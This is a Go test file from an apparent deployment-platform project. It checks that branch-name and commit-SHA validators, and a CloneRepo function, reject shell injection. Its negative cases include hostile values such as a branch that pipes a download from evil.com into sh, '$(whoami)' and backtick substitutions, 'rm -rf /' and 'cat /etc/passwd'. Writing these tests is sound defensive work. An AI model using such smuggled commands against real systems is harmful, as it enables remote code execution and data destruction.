upaas/internal/docker/validation_test.go
clawbot 559bfa4131 fix: resolve all golangci-lint issues
Fixes #32

Changes:
- middleware.go: use max() builtin, strconv.Itoa, fix wsl whitespace
- database.go: fix nlreturn, noinlineerr, wsl whitespace
- handlers.go: remove unnecessary template.HTML conversion, unused import
- app.go: extract cleanupContainer to fix nestif, fix lll
- client.go: break long string literals to fix lll
- deploy.go: fix wsl whitespace
- auth_test.go: extract helpers to fix funlen, fix wsl/nlreturn/testifylint
- handlers_test.go: deduplicate IDOR tests, fix paralleltest
- validation_test.go: add parallel, fix funlen/wsl, nolint testpackage
- port_validation_test.go: add parallel, nolint testpackage
- ratelimit_test.go: add parallel where safe, nolint testpackage/paralleltest
- realip_test.go: add parallel, use NewRequestWithContext, fix wsl/funlen
- user.go: (noinlineerr already fixed by database.go pattern)
2026-02-15 21:55:24 -08:00

149 lines
3.0 KiB
Go

package docker //nolint:testpackage // tests unexported regexps and Client struct
import (
"errors"
"log/slog"
"testing"
)
func TestValidBranchRegex(t *testing.T) {
t.Parallel()
valid := []string{
"main",
"develop",
"feature/my-feature",
"release-1.0",
"v1.2.3",
"fix/issue_42",
"my.branch",
}
for _, b := range valid {
if !validBranchRe.MatchString(b) {
t.Errorf("expected branch %q to be valid", b)
}
}
invalid := []string{
"main; curl evil.com | sh",
"branch$(whoami)",
"branch`id`",
"branch && rm -rf /",
"branch | cat /etc/passwd",
"",
"branch name with spaces",
"branch\nnewline",
}
for _, b := range invalid {
if validBranchRe.MatchString(b) {
t.Errorf("expected branch %q to be invalid (potential injection)", b)
}
}
}
func TestValidCommitSHARegex(t *testing.T) {
t.Parallel()
valid := []string{
"abc123def456789012345678901234567890abcd",
"0000000000000000000000000000000000000000",
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
}
for _, s := range valid {
if !validCommitSHARe.MatchString(s) {
t.Errorf("expected SHA %q to be valid", s)
}
}
invalid := []string{
"short",
"abc123",
"ABCDEF1234567890123456789012345678901234", // uppercase
"abc123def456789012345678901234567890abcd; rm -rf /",
"$(whoami)000000000000000000000000000000000",
"",
}
for _, s := range invalid {
if validCommitSHARe.MatchString(s) {
t.Errorf("expected SHA %q to be invalid (potential injection)", s)
}
}
}
func TestCloneRepoRejectsInjection(t *testing.T) { //nolint:funlen // table-driven test
t.Parallel()
c := &Client{
log: slog.Default(),
}
tests := []struct {
name string
branch string
commitSHA string
wantErr error
}{
{
name: "shell injection in branch",
branch: "main; curl evil.com | sh #",
wantErr: ErrInvalidBranch,
},
{
name: "command substitution in branch",
branch: "$(whoami)",
wantErr: ErrInvalidBranch,
},
{
name: "backtick injection in branch",
branch: "`id`",
wantErr: ErrInvalidBranch,
},
{
name: "injection in commitSHA",
branch: "main",
commitSHA: "not-a-sha; rm -rf /",
wantErr: ErrInvalidCommitSHA,
},
{
name: "short SHA rejected",
branch: "main",
commitSHA: "abc123",
wantErr: ErrInvalidCommitSHA,
},
{
name: "valid inputs pass validation (hit NotConnected)",
branch: "main",
commitSHA: "abc123def456789012345678901234567890abcd",
wantErr: ErrNotConnected,
},
{
name: "valid branch no SHA passes validation (hit NotConnected)",
branch: "main",
wantErr: ErrNotConnected,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
t.Parallel()
_, err := c.CloneRepo(
t.Context(),
"git@example.com:repo.git",
tt.branch,
tt.commitSHA,
"fake-key",
"/tmp/container",
"/tmp/host",
)
if err == nil {
t.Fatal("expected error, got nil")
}
if !errors.Is(err, tt.wantErr) {
t.Errorf("expected error %v, got %v", tt.wantErr, err)
}
})
}
}